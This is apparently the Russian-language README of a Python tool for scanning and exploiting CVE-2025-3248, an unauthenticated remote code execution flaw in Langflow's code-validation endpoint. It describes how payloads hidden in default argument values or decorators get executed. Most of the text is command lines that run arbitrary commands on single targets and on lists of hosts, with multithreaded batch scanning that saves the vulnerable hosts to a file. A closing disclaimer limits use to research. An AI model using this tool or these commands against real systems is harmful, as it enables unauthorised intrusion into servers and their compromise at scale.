Langflow при выполнении AST-разбора и компиляции «кода проверки», отправленного пользователем, вызывает Python `compile()`/`exec()` без аутентификации и ограничений песочницы (а на этапе компиляции оцениваются значения аргументов по умолчанию и декораторы). Злоумышленник может поместить вредоносную нагрузку в значения аргументов по умолчанию или в декораторы и таким образом выполнить произвольные операторы в контексте сервера (reverse shell, загрузчики, горизонтальное перемещение и т. д.).
Инструмент на Python для сканирования и эксплуатации уязвимости CVE-2025-3248, которая позволяет выполнять удалённый код (RCE) в приложениях Langflow.
pip install requests
python cve-2025-3248.py http://target:port
python cve-2025-3248.py http://target:port -c "id"
python cve-2025-3248.py -f urls.txt
python cve-2025-3248.py -f urls.txt -c "whoami"
python cve-2025-3248.py -f urls.txt -t 20 --timeout 15 -v
url: Целевой URL (например: http://10.10.10.1:7860)-f, --file: Файл со списком URL, по одному на строку-c, --cmd: Команда для выполнения (например: id, whoami)--timeout: Таймаут запроса, по умолчанию 10 секунд-t, --threads: Количество потоков для пакетного сканирования, по умолчанию 10-v, --verbose: Подробный режим, показывает исходный ответpython cve-2025-3248.py http://192.168.1.100:7860
python cve-2025-3248.py http://192.168.1.100:7860 -c "ls -la"
Создайте файл targets.txt:
http://192.168.1.100:7860
http://192.168.1.101:7860
http://192.168.1.102:7860
Затем выполните:
python cve-2025-3248.py -f targets.txt
python cve-2025-3248.py -f targets.txt -c "uname -a" -t 5
[+] Успешное выполнение[-] Ошибка или сбой[!] Предупреждение[*] Информационный выводУспешно просканированные цели сохраняются в файл vulnerable_targets.txt или vulnerable_targets_{command}.txt.
Данный инструмент предназначен только для исследований в области безопасности и образовательных целей. Пользователь несёт ответственность за свои действия. Несанкционированное тестирование систем может нарушать законодательство.